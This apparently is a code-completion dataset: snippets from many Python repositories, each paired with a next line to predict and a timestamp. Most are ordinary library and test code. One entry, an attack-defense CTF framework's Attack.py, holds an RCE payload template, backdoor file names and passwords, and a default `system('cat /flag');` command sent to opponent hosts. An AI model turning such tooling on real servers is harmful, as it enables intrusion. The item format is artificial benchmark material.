pytestmark = pytest.mark.django_db class TestUserUpdateView: """ TODO: extracting view initialization code as class-scoped fixture would be great if only pytest-django supported non-function-scoped fixture db access -- this is a work-in-progress for now: https://github.com/pytest-dev/pytest-django/pull/258 """ def dummy_get_response(self, request: HttpRequest): return None def test_get_success_url(self, user: User, rf: RequestFactory):

pytestmark = pytest.mark.django_db class TestUserUpdateView: """ TODO: extracting view initialization code as class-scoped fixture would be great if only pytest-django supported non-function-scoped fixture db access -- this is a work-in-progress for now: https://github.com/pytest-dev/pytest-django/pull/258 """ def dummy_get_response(self, request: HttpRequest): return None def test_get_success_url(self, user: User, rf: RequestFactory):

view = UserUpdateView()

2023-11-10 08:23:29+00:00

2k

fepegar/jvol

src/jvol/jvol.py

import os import numpy as np import numpy.typing as npt from pathlib import Path from typing import Any from typing import TypeAlias from typing import Union from .io import open_jvol from .io import save_jvol

from __future__ import annotations TypePath: TypeAlias = Union[str, os.PathLike] class JpegVolume: """Base class for saving and loading JPEG-encoded volumes. Args: array: 3D NumPy array. ijk_to_ras: 4×4 affine transformation matrix containing the mapping from voxel indices to RAS+ (left → right, posterior → anterior, inferior → superior) coordinates. If not specified, the identity matrix is used. Tip: To learn more about coordinates systems, check the following resources: - [NiBabel](https://nipy.org/nibabel/)'s [Coordinate systems and affines](https://nipy.org/nibabel/coordinate_systems.html), - [3D Slicer](https://www.slicer.org/)'s [Coordinate systems](https://slicer.readthedocs.io/en/latest/user_guide/coordinate_systems.html), - [FSL](https://fsl.fmrib.ox.ac.uk/)'s [docs (see "Background information on NIfTI Orientation")](https://fsl.fmrib.ox.ac.uk/fsl/fslwiki/Orientation%20Explained) """ # noqa: E501 def __init__( self, array: npt.ArrayLike, ijk_to_ras: npt.ArrayLike | None = None, ): self.array = np.array(array) if ijk_to_ras is None: ijk_to_ras = np.eye(4) self.ijk_to_ras = np.array(ijk_to_ras, dtype=np.float64) if self.array.ndim != 3: raise ValueError( f"Array must have 3 dimensions, got shape {self.array.shape}" ) if self.ijk_to_ras.shape != (4, 4): raise ValueError( f"ijk_to_ras must have shape (4, 4), got {self.ijk_to_ras.shape}" ) assert self.ijk_to_ras.shape == (4, 4) @classmethod def open(cls, path: TypePath) -> JpegVolume: """Open a JVol file. Args: path: Path to a file with `'.jvol'` extension. """ path = Path(path) if not path.is_file(): raise FileNotFoundError(f'File not found: "{path}"') if path.suffix != ".jvol": raise ValueError(f'File must have .jvol extension, got "{path}"')

from __future__ import annotations TypePath: TypeAlias = Union[str, os.PathLike] class JpegVolume: """Base class for saving and loading JPEG-encoded volumes. Args: array: 3D NumPy array. ijk_to_ras: 4×4 affine transformation matrix containing the mapping from voxel indices to RAS+ (left → right, posterior → anterior, inferior → superior) coordinates. If not specified, the identity matrix is used. Tip: To learn more about coordinates systems, check the following resources: - [NiBabel](https://nipy.org/nibabel/)'s [Coordinate systems and affines](https://nipy.org/nibabel/coordinate_systems.html), - [3D Slicer](https://www.slicer.org/)'s [Coordinate systems](https://slicer.readthedocs.io/en/latest/user_guide/coordinate_systems.html), - [FSL](https://fsl.fmrib.ox.ac.uk/)'s [docs (see "Background information on NIfTI Orientation")](https://fsl.fmrib.ox.ac.uk/fsl/fslwiki/Orientation%20Explained) """ # noqa: E501 def __init__( self, array: npt.ArrayLike, ijk_to_ras: npt.ArrayLike | None = None, ): self.array = np.array(array) if ijk_to_ras is None: ijk_to_ras = np.eye(4) self.ijk_to_ras = np.array(ijk_to_ras, dtype=np.float64) if self.array.ndim != 3: raise ValueError( f"Array must have 3 dimensions, got shape {self.array.shape}" ) if self.ijk_to_ras.shape != (4, 4): raise ValueError( f"ijk_to_ras must have shape (4, 4), got {self.ijk_to_ras.shape}" ) assert self.ijk_to_ras.shape == (4, 4) @classmethod def open(cls, path: TypePath) -> JpegVolume: """Open a JVol file. Args: path: Path to a file with `'.jvol'` extension. """ path = Path(path) if not path.is_file(): raise FileNotFoundError(f'File not found: "{path}"') if path.suffix != ".jvol": raise ValueError(f'File must have .jvol extension, got "{path}"')

return cls(*open_jvol(path))

2023-11-12 18:41:36+00:00

2k

iramluism/basel

tests/unit_tests/components/component_test.py

from basel.components import Component from basel.components.classes import ClassNode from basel.components.modules import ModuleNode import pytest

@pytest.mark.parametrize( "component,expected_classes", [ ( Component( name="Componant_A", nodes=[

@pytest.mark.parametrize( "component,expected_classes", [ ( Component( name="Componant_A", nodes=[

ModuleNode(

2023-11-18 13:47:55+00:00

2k

Gr-1m/AWD-Frame-ByGr1m

modules/Attack.py

from Configs.frame_config import FRAME_DIR from Configs.config import FlagRegular from func.CmdColors import printX from modules.ReplaceStr import * from urllib.parse import urlparse as URL import requests, pymysql, paramiko, socket import hashlib, base64 import os as _os import re

#!/usr/bin/python3 # -*- coding: UTF-8 -*- """ @project : customGr1m @file : Attack.py @Author : Gr%1m @Date : 14/11/2023 10:56 am """ # from pwn import * # About Flag Flags = set() FlagPath = '/flag' FlagLen = 41 # Payload INFO Payloads = { f"http://POST@{HostReplaceStr}:80/awdtest/testback.php?submit=submit&bb={RceReplaceStr}", } WebRootDir = '/var/www/html' LoginCookie = 'security=low; PHPSESSID=e16f5c982733368120234560b9cb5625' BDFileName = 'a10uN7yA_1' BDcmdPass = 'x2aom1ng_20231114' BDRceParam = 'kAt3l1na' MemShell = set() # todo: attack # Enemy INFO X = 'x' def _up_payloads(data): Payloads.add(data) def submit_flag(submitAPI, token, flag): try: if submitAPI[-1] == 'GET': url = f'{submitAPI[0]}?{submitAPI[1]}={token}&{submitAPI[2]}={flag}' res = requests.get(url=url) elif submitAPI[-1] == 'POST': res = requests.post(url=submitAPI[0], data={submitAPI[1]: token, submitAPI[2]: flag}) else: printX("[!] please set SubmitAPI method") return "No", 400 return res.text, res.status_code except KeyboardInterrupt: printX('[-] Interrupt Submit Flag') return 0, 0 except Exception: return 0, 0 def _attack_vul(hostname, payload, cmd): purl = URL(payload) method, payload = purl.username, payload.split(f'@{HostReplaceStr}')[-1] payload = payload.replace(RceReplaceStr, cmd) url = f'http://{hostname}{payload}' try: if method == 'GET': res = requests.get(url=url, headers={'Cookie': LoginCookie}) elif method == 'POST': params = payload.split('?', maxsplit=1)[-1] data = {_.split('=', maxsplit=1)[0]: _.split('=', maxsplit=1)[1] for _ in params.split('&')} res = requests.post(url, data=data, headers={'Cookie': LoginCookie}) else: printX(f'[-] Not Allow Method in payload {payload}') raise NameError except: class _X: def __init__(self): self.text = None self.status_code = 400 res = _X() return res, purl def get_flag(ey_hosts, rce="system('cat /flag');"): def extract_flag(text): try:

#!/usr/bin/python3 # -*- coding: UTF-8 -*- """ @project : customGr1m @file : Attack.py @Author : Gr%1m @Date : 14/11/2023 10:56 am """ # from pwn import * # About Flag Flags = set() FlagPath = '/flag' FlagLen = 41 # Payload INFO Payloads = { f"http://POST@{HostReplaceStr}:80/awdtest/testback.php?submit=submit&bb={RceReplaceStr}", } WebRootDir = '/var/www/html' LoginCookie = 'security=low; PHPSESSID=e16f5c982733368120234560b9cb5625' BDFileName = 'a10uN7yA_1' BDcmdPass = 'x2aom1ng_20231114' BDRceParam = 'kAt3l1na' MemShell = set() # todo: attack # Enemy INFO X = 'x' def _up_payloads(data): Payloads.add(data) def submit_flag(submitAPI, token, flag): try: if submitAPI[-1] == 'GET': url = f'{submitAPI[0]}?{submitAPI[1]}={token}&{submitAPI[2]}={flag}' res = requests.get(url=url) elif submitAPI[-1] == 'POST': res = requests.post(url=submitAPI[0], data={submitAPI[1]: token, submitAPI[2]: flag}) else: printX("[!] please set SubmitAPI method") return "No", 400 return res.text, res.status_code except KeyboardInterrupt: printX('[-] Interrupt Submit Flag') return 0, 0 except Exception: return 0, 0 def _attack_vul(hostname, payload, cmd): purl = URL(payload) method, payload = purl.username, payload.split(f'@{HostReplaceStr}')[-1] payload = payload.replace(RceReplaceStr, cmd) url = f'http://{hostname}{payload}' try: if method == 'GET': res = requests.get(url=url, headers={'Cookie': LoginCookie}) elif method == 'POST': params = payload.split('?', maxsplit=1)[-1] data = {_.split('=', maxsplit=1)[0]: _.split('=', maxsplit=1)[1] for _ in params.split('&')} res = requests.post(url, data=data, headers={'Cookie': LoginCookie}) else: printX(f'[-] Not Allow Method in payload {payload}') raise NameError except: class _X: def __init__(self): self.text = None self.status_code = 400 res = _X() return res, purl def get_flag(ey_hosts, rce="system('cat /flag');"): def extract_flag(text): try:

flag = re.search(FlagRegular, text).group()

2023-11-17 09:12:03+00:00

2k

Wolfsauge/async_summarize

async_helpers.py

import sys import asyncio import math from tqdm.asyncio import tqdm # type: ignore from icecream import ic # type: ignore from sync_helpers import ( get_length_of_chunk_in_tokens, get_text_splitter, grouped, find_chunk_pair_with_minimal_size, find_longest_element_index, calc_custom_chunking_parameters, )

async def get_completion(buck_slip: dict, task: str, **kwargs) -> str: template = buck_slip["jinja2_env"].from_string(buck_slip["prompt_templates"][task]) if task == "summarize": chunk = kwargs["chunk"] if isinstance(chunk, str): my_prompt = template.render(prompt=chunk) else: ic(f"ERROR: function call error, task: {task}, kwargs={kwargs}.") sys.exit(1) elif task == "merge": first_element = kwargs["first_element"] second_element = kwargs["second_element"] if isinstance(first_element, str) and isinstance(second_element, str): my_prompt = template.render( first_element=first_element, second_element=second_element ) else: ic(f"ERROR: function call error, task: {task}, kwargs={kwargs}.") sys.exit(1) else: ic(f"ERROR: function call error, task: {task}, kwargs={kwargs}.") sys.exit(1) bad_counter = 0 attempt_counter = 0 while attempt_counter <= buck_slip["max_completion_retries"]: my_temperature = buck_slip["temperature"] + attempt_counter * 0.1 completion = await buck_slip["api_client"].completions.create( model=buck_slip["model_local_identifier"], prompt=my_prompt, max_tokens=buck_slip["max_tokens"], temperature=my_temperature, ) attempt_counter += 1 finish_reason = completion.choices[0].finish_reason if finish_reason == "stop": break bad_counter += 1 ic(completion) ic(attempt_counter) ic(bad_counter) ic(finish_reason) ic("ERROR: finish_reason != 'stop', retrying.") if bad_counter >= buck_slip["max_completion_retries"]: ic(completion) ic(attempt_counter) ic(bad_counter) ic(finish_reason) ic("ERROR: aborting after multiple failed attempts.") sys.exit(1) return completion.choices[0].text async def do_chunking_step(my_chunk: str, buck_slip: dict) -> list: lock = buck_slip["lock"] tqdm.write(f"Acquired {lock}.") async with lock: chunks = buck_slip["text_splitter"].split_text(my_chunk) tqdm.write(f"Released {lock}.") return chunks async def merge_elements(elements, buck_slip: dict, pindex: int) -> tuple[str, int]: first_element, second_element = elements intermediate_merge_result = await get_completion( buck_slip, "merge", first_element=first_element, second_element=second_element ) intermediate_merge_result = str(intermediate_merge_result).strip() return intermediate_merge_result, pindex async def summarize_element(chunk, buck_slip: dict, pindex: int) -> tuple[str, int]: intermediate_merge_result = await get_completion( buck_slip, "summarize", chunk=chunk ) intermediate_merge_result = str(intermediate_merge_result).strip() return intermediate_merge_result, pindex async def split_further(partial_results: list, my_pos: int, buck_slip: dict) -> list: ic("Split further.") ic(my_pos) ic(len(partial_results)) my_len_list = [len(_) for _ in partial_results] ic(my_len_list) my_chunk = partial_results[my_pos] lock = buck_slip["lock"] tqdm.write(f"Acquired {lock}.") async with lock: length_of_chunk_in_tokens = get_length_of_chunk_in_tokens(my_chunk, buck_slip) tqdm.write(f"Released {lock}.") my_custom_chunk_size = length_of_chunk_in_tokens my_custom_chunk_overlap = 0

async def get_completion(buck_slip: dict, task: str, **kwargs) -> str: template = buck_slip["jinja2_env"].from_string(buck_slip["prompt_templates"][task]) if task == "summarize": chunk = kwargs["chunk"] if isinstance(chunk, str): my_prompt = template.render(prompt=chunk) else: ic(f"ERROR: function call error, task: {task}, kwargs={kwargs}.") sys.exit(1) elif task == "merge": first_element = kwargs["first_element"] second_element = kwargs["second_element"] if isinstance(first_element, str) and isinstance(second_element, str): my_prompt = template.render( first_element=first_element, second_element=second_element ) else: ic(f"ERROR: function call error, task: {task}, kwargs={kwargs}.") sys.exit(1) else: ic(f"ERROR: function call error, task: {task}, kwargs={kwargs}.") sys.exit(1) bad_counter = 0 attempt_counter = 0 while attempt_counter <= buck_slip["max_completion_retries"]: my_temperature = buck_slip["temperature"] + attempt_counter * 0.1 completion = await buck_slip["api_client"].completions.create( model=buck_slip["model_local_identifier"], prompt=my_prompt, max_tokens=buck_slip["max_tokens"], temperature=my_temperature, ) attempt_counter += 1 finish_reason = completion.choices[0].finish_reason if finish_reason == "stop": break bad_counter += 1 ic(completion) ic(attempt_counter) ic(bad_counter) ic(finish_reason) ic("ERROR: finish_reason != 'stop', retrying.") if bad_counter >= buck_slip["max_completion_retries"]: ic(completion) ic(attempt_counter) ic(bad_counter) ic(finish_reason) ic("ERROR: aborting after multiple failed attempts.") sys.exit(1) return completion.choices[0].text async def do_chunking_step(my_chunk: str, buck_slip: dict) -> list: lock = buck_slip["lock"] tqdm.write(f"Acquired {lock}.") async with lock: chunks = buck_slip["text_splitter"].split_text(my_chunk) tqdm.write(f"Released {lock}.") return chunks async def merge_elements(elements, buck_slip: dict, pindex: int) -> tuple[str, int]: first_element, second_element = elements intermediate_merge_result = await get_completion( buck_slip, "merge", first_element=first_element, second_element=second_element ) intermediate_merge_result = str(intermediate_merge_result).strip() return intermediate_merge_result, pindex async def summarize_element(chunk, buck_slip: dict, pindex: int) -> tuple[str, int]: intermediate_merge_result = await get_completion( buck_slip, "summarize", chunk=chunk ) intermediate_merge_result = str(intermediate_merge_result).strip() return intermediate_merge_result, pindex async def split_further(partial_results: list, my_pos: int, buck_slip: dict) -> list: ic("Split further.") ic(my_pos) ic(len(partial_results)) my_len_list = [len(_) for _ in partial_results] ic(my_len_list) my_chunk = partial_results[my_pos] lock = buck_slip["lock"] tqdm.write(f"Acquired {lock}.") async with lock: length_of_chunk_in_tokens = get_length_of_chunk_in_tokens(my_chunk, buck_slip) tqdm.write(f"Released {lock}.") my_custom_chunk_size = length_of_chunk_in_tokens my_custom_chunk_overlap = 0

buck_slip["text_splitter"] = get_text_splitter(

2023-11-16 01:51:17+00:00

2k

balazsborsos/dae_postprocessing

main.py

from utils.parser import ConfigurationParser, parse_yaml_config from train import train_model

if __name__ == "__main__": config_parser = ConfigurationParser() args = config_parser.parse_args()

if __name__ == "__main__": config_parser = ConfigurationParser() args = config_parser.parse_args()

config = parse_yaml_config(args.config)

2023-11-18 13:57:25+00:00

2k

htyao89/Textual-based_Class-aware_prompt_tuning

clip/clip.py

import hashlib import os import urllib import warnings import torch from typing import Any, Union, List from pkg_resources import packaging from PIL import Image from torchvision.transforms import Compose, Resize, CenterCrop, ToTensor, Normalize from tqdm import tqdm from .model import build_model from .simple_tokenizer import SimpleTokenizer as _Tokenizer from torchvision.transforms import InterpolationMode

try: BICUBIC = InterpolationMode.BICUBIC except ImportError: BICUBIC = Image.BICUBIC if packaging.version.parse(torch.__version__) < packaging.version.parse("1.7.1"): warnings.warn("PyTorch version 1.7.1 or higher is recommended") __all__ = ["available_models", "load", "tokenize"]

try: BICUBIC = InterpolationMode.BICUBIC except ImportError: BICUBIC = Image.BICUBIC if packaging.version.parse(torch.__version__) < packaging.version.parse("1.7.1"): warnings.warn("PyTorch version 1.7.1 or higher is recommended") __all__ = ["available_models", "load", "tokenize"]

_tokenizer = _Tokenizer()

2023-11-14 03:50:33+00:00

2k

Veridise/vanguard-aleo

vanguard/aleo/detectors/infoleak.py

import networkx as nx from ..common import get_ifg_edges, trim_inst

def detector_infoleak(prog, func): """Detect for information leak Args: - prog: - func: Rets: (result, info) """

def detector_infoleak(prog, func): """Detect for information leak Args: - prog: - func: Rets: (result, info) """

edges = get_ifg_edges(prog, func, hash=False, call=True, inline=False)

2023-11-10 02:57:03+00:00

2k

winrey/x-following

check_following.py

import json from typing import List from client import client, FollowingUser from common_cli import select_account, trials from back_white_list import filter_not_in_whitelist, filter_not_in_blacklist

FOLLOWING_CACHE_PATH = 'cache/followings.json' def load_followings(): try: with open(FOLLOWING_CACHE_PATH, 'r') as f: return json.load(f) except FileNotFoundError: return False def get_all_followings(force_update=False): followings = load_followings() if followings and not force_update: return followings followings = client.get_all_following_by_graphql(50) print("saving followings...") with open('cache/followings.json', 'w') as f: json.dump(followings, f) return followings def filter_one_way_followings(followings: List[FollowingUser]): one_way_followings = [] for following in followings: if "followed_by" not in following or not following["followed_by"]: one_way_followings.append(following) return one_way_followings def is_public_account(following: FollowingUser): if following["verified"]: return True followers_count = following.get("followers_count", 0) following_count = following.get("following_count", 0) if following_count < 100 and followers_count > 2000: return True if following_count == 0: return False return followers_count / following_count > 30 def filter_not_public_accounts(followings: List[FollowingUser]): return [following for following in followings if not is_public_account(following)] def main_trails(): select_account() followings = get_all_followings() subjects = filter_one_way_followings(followings) subjects = filter_not_public_accounts(subjects) subjects = filter_not_in_whitelist(subjects) subjects = filter_not_in_blacklist(subjects)

FOLLOWING_CACHE_PATH = 'cache/followings.json' def load_followings(): try: with open(FOLLOWING_CACHE_PATH, 'r') as f: return json.load(f) except FileNotFoundError: return False def get_all_followings(force_update=False): followings = load_followings() if followings and not force_update: return followings followings = client.get_all_following_by_graphql(50) print("saving followings...") with open('cache/followings.json', 'w') as f: json.dump(followings, f) return followings def filter_one_way_followings(followings: List[FollowingUser]): one_way_followings = [] for following in followings: if "followed_by" not in following or not following["followed_by"]: one_way_followings.append(following) return one_way_followings def is_public_account(following: FollowingUser): if following["verified"]: return True followers_count = following.get("followers_count", 0) following_count = following.get("following_count", 0) if following_count < 100 and followers_count > 2000: return True if following_count == 0: return False return followers_count / following_count > 30 def filter_not_public_accounts(followings: List[FollowingUser]): return [following for following in followings if not is_public_account(following)] def main_trails(): select_account() followings = get_all_followings() subjects = filter_one_way_followings(followings) subjects = filter_not_public_accounts(subjects) subjects = filter_not_in_whitelist(subjects) subjects = filter_not_in_blacklist(subjects)

trials(subjects)

2023-11-11 18:54:25+00:00

2k

Shritesh99/strawberry-django-social-auth

gql_social_auth/mixins.py

from strawberry.types import Info from gqlauth.user.resolvers import BaseMixin from .decorators import social_auth from .types import SocialAuthInput from .types import SocialType

class SocialAuthMixin(BaseMixin): """Social Auth takes OAuth Provider and OAuth Access Token Allow user to perform social auth for the given OAuth provider and OAuth Access token :returns user: Entire User Object (Get your social data using user.social_user) errors: Any error occurred in the process of getting the Social User """ @classmethod

class SocialAuthMixin(BaseMixin): """Social Auth takes OAuth Provider and OAuth Access Token Allow user to perform social auth for the given OAuth provider and OAuth Access token :returns user: Entire User Object (Get your social data using user.social_user) errors: Any error occurred in the process of getting the Social User """ @classmethod

@social_auth

2023-11-12 23:27:04+00:00

2k

Scholar01/ComfyUI-Keyframe

keyframe/samples.py

import torch import comfy.samplers from tqdm.auto import trange from comfy.k_diffusion import sampling as k_diffusion_sampling from comfy.k_diffusion.sampling import to_d, default_noise_sampler from .util import is_injected_model, get_injected_model, generate_sigmas, generate_noise, get_ancestral_step

CUSTOM_SAMPLERS = [ 'k_euler', 'k_euler_a', 'k_lcm' ] def inject_samples(): comfy.samplers.SAMPLER_NAMES.extend(CUSTOM_SAMPLERS) k_diffusion_sampling.sample_k_euler = sample_k_euler k_diffusion_sampling.sample_k_euler_a = sample_k_euler_a k_diffusion_sampling.sample_k_lcm = sample_k_lcm print(f'Injected samplers: {CUSTOM_SAMPLERS}') def get_sigmas_noise(model_wrap, x, noise, latent_image, sigmas, scheduler, steps, part_group):

CUSTOM_SAMPLERS = [ 'k_euler', 'k_euler_a', 'k_lcm' ] def inject_samples(): comfy.samplers.SAMPLER_NAMES.extend(CUSTOM_SAMPLERS) k_diffusion_sampling.sample_k_euler = sample_k_euler k_diffusion_sampling.sample_k_euler_a = sample_k_euler_a k_diffusion_sampling.sample_k_lcm = sample_k_lcm print(f'Injected samplers: {CUSTOM_SAMPLERS}') def get_sigmas_noise(model_wrap, x, noise, latent_image, sigmas, scheduler, steps, part_group):

sigmas = generate_sigmas(model_wrap.inner_model, x, sigmas, scheduler, steps, part_group, sigmas.device)

2023-11-10 13:15:08+00:00

2k

Hamidrezaostadabbas/FOSS4G_Asia_2023

03_Exercise_2/exercise_2/layout_generator/layout_generator.py

from qgis.PyQt.QtCore import QSettings, QTranslator, QCoreApplication from qgis.PyQt.QtGui import QIcon from qgis.PyQt.QtWidgets import QAction from .resources import * from .layout_generator_dialog import LayoutGeneratorDialog from .core_functions import ( import_vector_layer, display_vector_layer, zoom_to_layer, qml_loader, get_script_path_plugin ) from .layout import layout_executor import os.path

# -*- coding: utf-8 -*- """ /*************************************************************************** LayoutGenerator A QGIS plugin auto layout generator Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/ ------------------- begin : 2023-11-24 git sha : $Format:%H$ copyright : (C) 2023 by foss4g-asia email : info@foss4g-asia.com ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ """ class LayoutGenerator: """QGIS Plugin Implementation.""" def __init__(self, iface): """Constructor. :param iface: An interface instance that will be passed to this class which provides the hook by which you can manipulate the QGIS application at run time. :type iface: QgsInterface """ # Save reference to the QGIS interface self.iface = iface # new variables

# -*- coding: utf-8 -*- """ /*************************************************************************** LayoutGenerator A QGIS plugin auto layout generator Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/ ------------------- begin : 2023-11-24 git sha : $Format:%H$ copyright : (C) 2023 by foss4g-asia email : info@foss4g-asia.com ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ """ class LayoutGenerator: """QGIS Plugin Implementation.""" def __init__(self, iface): """Constructor. :param iface: An interface instance that will be passed to this class which provides the hook by which you can manipulate the QGIS application at run time. :type iface: QgsInterface """ # Save reference to the QGIS interface self.iface = iface # new variables

self.layout_generator_dialog = LayoutGeneratorDialog()

2023-11-17 09:40:49+00:00

2k

micheltlutz/Winged-Python

winged/HTML/table.py

from winged.HTML.string import String from winged.core.generic_element import GenericElement from winged.core.tag import Tag from winged.HTML.thead import THead from winged.HTML.tbody import TBody from winged.HTML.tr import Tr from winged.HTML.th import Th from winged.HTML.td import Td

""" The Table class is a specific implementation of the HTML 'table' tag in the Winged-Python library. It provides helper methods to generate table structures. Table creation involves creating headers (th), rows (tr), and data cells (td). # Example Usage: ```python table = Table() table.add_table_headers(["Name", "Age", "Height", "Location"]) # Define headers table.add_row() table.add_in_row(String("John")) table.add_in_row(String("25")) table.add_in_row(String("1.80")) table.add_in_row(String("New York")) ``` This would generate a table with mentioned headers and one row of data. """ class Table(Tag): _tag = "table" _container = True _form_element = False def __init__(self): super().__init__() self.tbody = TBody() self.thead = None self.rows = [] def add_table_headers(self, titles, aligns=None, classes=None):

""" The Table class is a specific implementation of the HTML 'table' tag in the Winged-Python library. It provides helper methods to generate table structures. Table creation involves creating headers (th), rows (tr), and data cells (td). # Example Usage: ```python table = Table() table.add_table_headers(["Name", "Age", "Height", "Location"]) # Define headers table.add_row() table.add_in_row(String("John")) table.add_in_row(String("25")) table.add_in_row(String("1.80")) table.add_in_row(String("New York")) ``` This would generate a table with mentioned headers and one row of data. """ class Table(Tag): _tag = "table" _container = True _form_element = False def __init__(self): super().__init__() self.tbody = TBody() self.thead = None self.rows = [] def add_table_headers(self, titles, aligns=None, classes=None):

self.thead = THead()

2023-11-18 17:40:48+00:00

2k

davidhozic/TkClassWizard

tkclasswiz/object_frame/frame_string.py

from typing import Any from ..storage import * from .frame_base import * from ..extensions import extendable from ..doc import doc_category import tkinter as tk

TEXT_MAX_UNDO = 20 __all__ = ( "NewObjectFrameString", )

TEXT_MAX_UNDO = 20 __all__ = ( "NewObjectFrameString", )

@extendable

2023-11-14 09:26:01+00:00

2k

har777/snek-evm

test.py

import unittest from vm import EVM, TransactionMetadata, get_create_contract_address, get_create2_contract_address

class UtilTestCase(unittest.TestCase): def test_get_create_contract_address(self): sender_address = "0x6ac7ea33f8831ea9dcc53393aaa88b25a785dbf0" self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=0), "0xcd234a471b72ba2f1ccf0a70fcaba648a5eecd8d") self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=1), "0x343c43a37d37dff08ae8c4a11544c718abb4fcf8") self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=2), "0xf778b86fa74e846c4f0a1fbd1335fe81c00a0c91") self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=3), "0xfffd933a0bc612844eaf0c6fe3e5b8e9b6c1d19c") def test_get_create2_contract_address(self): # https://eips.ethereum.org/EIPS/eip-1014 self.assertEqual( get_create2_contract_address( origin_address="0x0000000000000000000000000000000000000000", salt=0, initialisation_code="00" ), "0x4d1a2e2bb4f88f0250f26ffff098b0b30b26bf38" ) self.assertEqual( get_create2_contract_address( origin_address="0xdeadbeef00000000000000000000000000000000", salt=0, initialisation_code="00" ), "0xb928f69bb1d91cd65274e3c79d8986362984fda3" ) self.assertEqual( get_create2_contract_address( origin_address="0xdeadbeef00000000000000000000000000000000", salt=1455368932401306996839762510191304720241787928576, initialisation_code="00" ), "0xd04116cdd17bebe565eb2422f2497e06cc1c9833" ) self.assertEqual( get_create2_contract_address( origin_address="0x0000000000000000000000000000000000000000", salt=0, initialisation_code="deadbeef" ), "0x70f2b2914a2a4b783faefb75f459a580616fcb5e" ) self.assertEqual( get_create2_contract_address( origin_address="0x00000000000000000000000000000000deadbeef", salt=3405691582, initialisation_code="deadbeef" ), "0x60f3f640a8508fc6a86d45df051962668e1e8ac7" ) self.assertEqual( get_create2_contract_address( origin_address="0x00000000000000000000000000000000deadbeef", salt=3405691582, initialisation_code="deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef" ), "0x1d8bfdc5d46dc4f61d6b6115972536ebe6a8854c" ) self.assertEqual( get_create2_contract_address( origin_address="0x0000000000000000000000000000000000000000", salt=0, initialisation_code="" ), "0xe33c0c7f7df4809055c3eba6c09cfe4baf1bd9e0" ) class OpcodeTestCase(unittest.TestCase): def setUp(self):

class UtilTestCase(unittest.TestCase): def test_get_create_contract_address(self): sender_address = "0x6ac7ea33f8831ea9dcc53393aaa88b25a785dbf0" self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=0), "0xcd234a471b72ba2f1ccf0a70fcaba648a5eecd8d") self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=1), "0x343c43a37d37dff08ae8c4a11544c718abb4fcf8") self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=2), "0xf778b86fa74e846c4f0a1fbd1335fe81c00a0c91") self.assertEqual(get_create_contract_address(sender_address=sender_address, sender_nonce=3), "0xfffd933a0bc612844eaf0c6fe3e5b8e9b6c1d19c") def test_get_create2_contract_address(self): # https://eips.ethereum.org/EIPS/eip-1014 self.assertEqual( get_create2_contract_address( origin_address="0x0000000000000000000000000000000000000000", salt=0, initialisation_code="00" ), "0x4d1a2e2bb4f88f0250f26ffff098b0b30b26bf38" ) self.assertEqual( get_create2_contract_address( origin_address="0xdeadbeef00000000000000000000000000000000", salt=0, initialisation_code="00" ), "0xb928f69bb1d91cd65274e3c79d8986362984fda3" ) self.assertEqual( get_create2_contract_address( origin_address="0xdeadbeef00000000000000000000000000000000", salt=1455368932401306996839762510191304720241787928576, initialisation_code="00" ), "0xd04116cdd17bebe565eb2422f2497e06cc1c9833" ) self.assertEqual( get_create2_contract_address( origin_address="0x0000000000000000000000000000000000000000", salt=0, initialisation_code="deadbeef" ), "0x70f2b2914a2a4b783faefb75f459a580616fcb5e" ) self.assertEqual( get_create2_contract_address( origin_address="0x00000000000000000000000000000000deadbeef", salt=3405691582, initialisation_code="deadbeef" ), "0x60f3f640a8508fc6a86d45df051962668e1e8ac7" ) self.assertEqual( get_create2_contract_address( origin_address="0x00000000000000000000000000000000deadbeef", salt=3405691582, initialisation_code="deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef" ), "0x1d8bfdc5d46dc4f61d6b6115972536ebe6a8854c" ) self.assertEqual( get_create2_contract_address( origin_address="0x0000000000000000000000000000000000000000", salt=0, initialisation_code="" ), "0xe33c0c7f7df4809055c3eba6c09cfe4baf1bd9e0" ) class OpcodeTestCase(unittest.TestCase): def setUp(self):

self.evm = EVM()

2023-11-10 14:13:05+00:00

2k

AvaterClasher/eli

tests/middlewares/test_mindsdb.py

import pytest from pandas import DataFrame from unittest.mock import patch, MagicMock from eli.exceptions.auth import CredentialsError from eli.exceptions.connection import NetworkError from requests.exceptions import HTTPError, ConnectionError from eli.constants.service import MINDSDB_HOST from eli.middlewares.mindsdb import MindsDB

@patch('mindsdb_sdk.connect') def test_authenticate(mock_connect): email = 'test@test.com' password = 'testpassword' mock_server = MagicMock() mock_connect.return_value = mock_server mindsdb = MindsDB(email, password) mindsdb.authenticate() mock_connect.assert_called_once_with(MINDSDB_HOST, login=email, password=password) mock_server.list_databases.assert_called_once() assert mindsdb.is_authenticated is True def test_authenticate_incorrect_password(): mindsdb = MindsDB('test@test.com', 'testpassword') with pytest.raises(CredentialsError): with patch('mindsdb_sdk.connect', side_effect=HTTPError): mindsdb.authenticate() def test_authenticate_network_error(): mindsdb = MindsDB('test@test.com', 'testpassword')

